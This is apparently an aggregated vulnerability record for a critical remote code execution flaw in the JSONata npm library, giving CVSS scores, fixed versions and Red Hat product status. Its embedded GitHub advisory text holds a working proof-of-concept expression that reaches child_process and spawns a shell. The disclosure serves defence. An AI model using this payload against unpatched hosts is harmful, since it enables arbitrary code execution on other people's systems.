{"id":"CVE-2026-77413","aliases":["GHSA-8gq3-vp5j-2grp"],"summary":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","published_at":"2026-08-21T20:47:08.457Z","modified_at":"2026-09-28T10:23:47Z","products":[],"rating":{"severity":"critical","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Critical","vendor_ratings":[{"source":"Red Hat","rating":"Critical"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.007189999800175428,"percentile":0.54653000831604,"date":"2026-11-19T00:00:00Z"},"priority":11.8,"details":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed crafted expressions to access inherited prototype members. An attacker able to supply an expression could use inherited prototype setters and getters, constructor access, valueOf, and process.getBuiltinModule to reach the child_process module and execute arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.0.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"jsonata-js/jsonata","versions":["< 2.2.0"],"provider":"cvelistv5","source":"CVE-2026-77413","relation":"self"},{"ecosystem":"npm","package":"jsonata","purl":"pkg:npm/jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.8.8"}]}],"fixed":["1.8.8"],"provider":"osv","source":"GHSA-8gq3-vp5j-2grp","relation":"self"},{"ecosystem":"npm","package":"jsonata","purl":"pkg:npm/jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.2.0"}]}],"fixed":["2.2.0"],"provider":"osv","source":"GHSA-8gq3-vp5j-2grp","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"OpenShift Serverless","cpe":"cpe:/a:redhat:serverless:1","status":"not_affected","packages":["openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9","openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9","openshift-serverless-1/kn-eventing-integrations-transform-jsonata-rhel9"],"package_count":9,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-77413"},{"vendor":"Red Hat","product":"Red Hat Developer Hub 1.10","cpe":"cpe:/a:redhat:rhdh:1.10::el9","status":"fixed","packages":["rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-form-widgets"],"package_count":1,"fixed":[],"advisories":["RHSA-2026:76788"],"provider":"redhat-vex","source":"CVE-2026-77413"},{"vendor":"Red Hat","product":"Red Hat Developer Hub 1.10","cpe":"cpe:/a:redhat:rhdh:1.10::el9","status":"not_affected","packages":["rhdh/red-hat-developer-hub-backstage-plugin-lightspeed","rhdh/red-hat-developer-hub-backstage-plugin-lightspeed-backend","rhdh/red-hat-developer-hub-backstage-plugin-orchestrator","rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-backend","rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-backend-module-loki","rhdh/red-hat-developer-hub-backstage-plugin-scaffolder-backend-module-orchestrator"],"package_count":6,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-77413"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2026-77413","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-77413","license":"CC-BY-4.0","published_at":"2026-08-21T20:47:08.457Z","modified_at":"2026-08-24T19:42:37.844Z","summary":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","details":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.0, the src/functions.js lookup function lacked an Object.prototype.hasOwnProperty check and allowed crafted expressions to access inherited prototype members. An attacker able to supply an expression could use inherited prototype setters and getters, constructor access, valueOf, and process.getBuiltinModule to reach the child_process module and execute arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.0.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"CVE-2026-77413"}],"affected":[{"ecosystem":"CVE","package":"jsonata-js/jsonata","versions":["< 2.2.0"],"provider":"cvelistv5","source":"CVE-2026-77413","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grp"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/pull/794"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50d"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0"}]},{"provider":"osv","source_id":"GHSA-8gq3-vp5j-2grp","relation":"self","url":"https://osv.dev/vulnerability/GHSA-8gq3-vp5j-2grp","license":"CC-BY-4.0","published_at":"2026-08-21T20:57:07Z","modified_at":"2026-08-21T21:10:59.271102Z","summary":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","details":"## Impact\n\nBefore JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function:\nhttps://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705\n\nThis was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n   __lookupSetter__('__proto__')(constructor);\n   __defineGetter__('l', constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()\"));\n   valueOf().l\n)\n`);\n\nawait expression.evaluate({});\n```","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"GHSA-8gq3-vp5j-2grp"}],"affected":[{"ecosystem":"npm","package":"jsonata","purl":"pkg:npm/jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.8.8"}]}],"fixed":["1.8.8"],"provider":"osv","source":"GHSA-8gq3-vp5j-2grp","relation":"self"},{"ecosystem":"npm","package":"jsonata","purl":"pkg:npm/jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.2.0"}]}],"fixed":["2.2.0"],"provider":"osv","source":"GHSA-8gq3-vp5j-2grp","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grp"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/pull/794"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50d"},{"type":"PACKAGE","url":"https://github.com/jsonata-js/jsonata"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0"}]},{"provider":"redhat-vex","source_id":"CVE-2026-77413","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-77413","license":"CC-BY-4.0","published_at":"2026-08-21T20:47:08.457Z","modified_at":"2026-09-28T10:23:47Z","summary":"jsonata: JSONata: Arbitrary Code Execution via crafted JSONata expressions","details":"A flaw was found in JSONata. The `lookup` function, a component of the JSONata query and transformation language, did not properly validate object properties. This oversight allowed an attacker to craft malicious expressions that could access and manipulate sensitive inherited prototype members. Consequently, a remote attacker could exploit this vulnerability to execute arbitrary code with the privileges of the host process.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CVE-2026-77413"},{"type":"Red Hat","score":"Critical","source":"CVE-2026-77413"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"OpenShift Serverless","cpe":"cpe:/a:redhat:serverless:1","status":"not_affected","packages":["openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9","openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9","openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9","openshift-serverless-1/kn-eventing-integrations-transform-jsonata-rhel9"],"package_count":9,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-77413"},{"vendor":"Red Hat","product":"Red Hat Developer Hub 1.10","cpe":"cpe:/a:redhat:rhdh:1.10::el9","status":"fixed","packages":["rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-form-widgets"],"package_count":1,"fixed":[],"advisories":["RHSA-2026:76788"],"provider":"redhat-vex","source":"CVE-2026-77413"},{"vendor":"Red Hat","product":"Red Hat Developer Hub 1.10","cpe":"cpe:/a:redhat:rhdh:1.10::el9","status":"not_affected","packages":["rhdh/red-hat-developer-hub-backstage-plugin-lightspeed","rhdh/red-hat-developer-hub-backstage-plugin-lightspeed-backend","rhdh/red-hat-developer-hub-backstage-plugin-orchestrator","rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-backend","rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-backend-module-loki","rhdh/red-hat-developer-hub-backstage-plugin-scaffolder-backend-module-orchestrator"],"package_count":6,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-77413"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-77413.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-77413"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2521208"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-77413"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77413"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50d"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/pull/794"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grp"}]}],"references":[{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grp"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/pull/794"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50d"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0"},{"type":"PACKAGE","url":"https://github.com/jsonata-js/jsonata"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-77413.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-77413"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2521208"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-77413"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77413"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2026-77413","url":"https://www.cve.org/CVERecord?id=CVE-2026-77413","license":"CC-BY-4.0","modified_at":"2026-08-24T19:42:37.844Z","relation":"self"},{"provider":"osv","source_id":"GHSA-8gq3-vp5j-2grp","url":"https://osv.dev/vulnerability/GHSA-8gq3-vp5j-2grp","license":"CC-BY-4.0","modified_at":"2026-08-21T21:10:59.271102Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-77413","url":"https://access.redhat.com/security/cve/CVE-2026-77413","license":"CC-BY-4.0","modified_at":"2026-09-28T10:23:47Z","relation":"self"}]}
